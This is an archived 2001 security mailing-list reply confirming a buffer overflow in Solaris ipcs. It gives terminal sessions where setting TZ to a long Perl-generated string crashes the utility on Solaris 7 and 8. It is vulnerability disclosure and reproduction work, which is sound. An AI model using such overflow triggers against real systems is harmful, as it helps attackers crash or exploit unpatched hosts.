Re: Solaris ipcs vulnerability

From: Robert Varga (niteat_private)
Date: Tue Apr 17 2001 - 03:30:17 PDT

  • Next message: Wolfgang Wiese: "Re: qDefense Advisory: DCForum allows remote read/write/execute"

    On Mon, Apr 16, 2001 at 04:48:06PM -0400, Robert Sink wrote:
    > I've tried:
    > 
    > TZ=`/usr/local/bin/perl -e 'print "A"x1107'`
    > 
    > ...on... both 64 bit Solaris 8 and Solaris 7 (we have no 32 bit
    > machines here) and cannot get the programs to crash.  They just
    > happily display the A's, plus the other information and exit normally.
    > 
    > Solaris 7: SunOS xxx 5.7 Generic_106541-12 sun4u sparc
    > Solaris 8: SunOS xxx 5.8 Generic_108528-05 sun4u sparc
    > 
    > I keep the patches on the bleeding edge, but I can find nothing
    > offhand in the latest patchdiag.xref that would have altered this.
    > 
    > Am I missing something?
    
    Seems Solaris 8 has larger buffer (my guess is 2k), yet it still overflows:
    
    Solaris 8, 64bit:
    [root@ias1 /root]# uname -a
    SunOS ias1 5.8 Generic_108528-06 sun4u sparc SUNW,UltraAX-i2
    [root@ias1 /root]# isainfo -b
    64
    [root@ias1 /root]# export TZ=`/usr/bin/perl -e 'print "A"x2107'`
    [root@ias1 /root]# ipcs
    Segmentation Fault (core dumped)
    
    Solaris 8, 32bit:
    [root@nite /root]# uname -a
    SunOS nite 5.8 Generic_108528-06 sun4u sparc SUNW,Ultra-5_10
    [root@nite /root]# isainfo -b
    32
    [root@nite /root]# export TZ=`/usr/bin/perl -e 'print "A"x2107'`
    [root@nite /root]# ipcs
    Segmentation Fault
    
    Solaris 7, 64bit:
    [root@dwhs /root]# uname -a
    SunOS dwhs 5.7 Generic_106541-15 sun4u sparc SUNW,Ultra-Enterprise
    [root@dwhs /root]# isainfo  -b
    64
    [root@dwhs /root]# export TZ=`/usr/local/bin/perl -e 'print "A"x2107'`
    [root@dwhs /root]# ipcs
    Segmentation Fault
    
    -- 
    Kind regards,
    Robert Varga
    ------------------------------------------------------------------------------
    nat_private                                          http://hq.sk/~nite/gpgkey.txt
     
    
    
    



    This archive was generated by hypermail 2b30 : Tue Apr 17 2001 - 09:15:05 PDT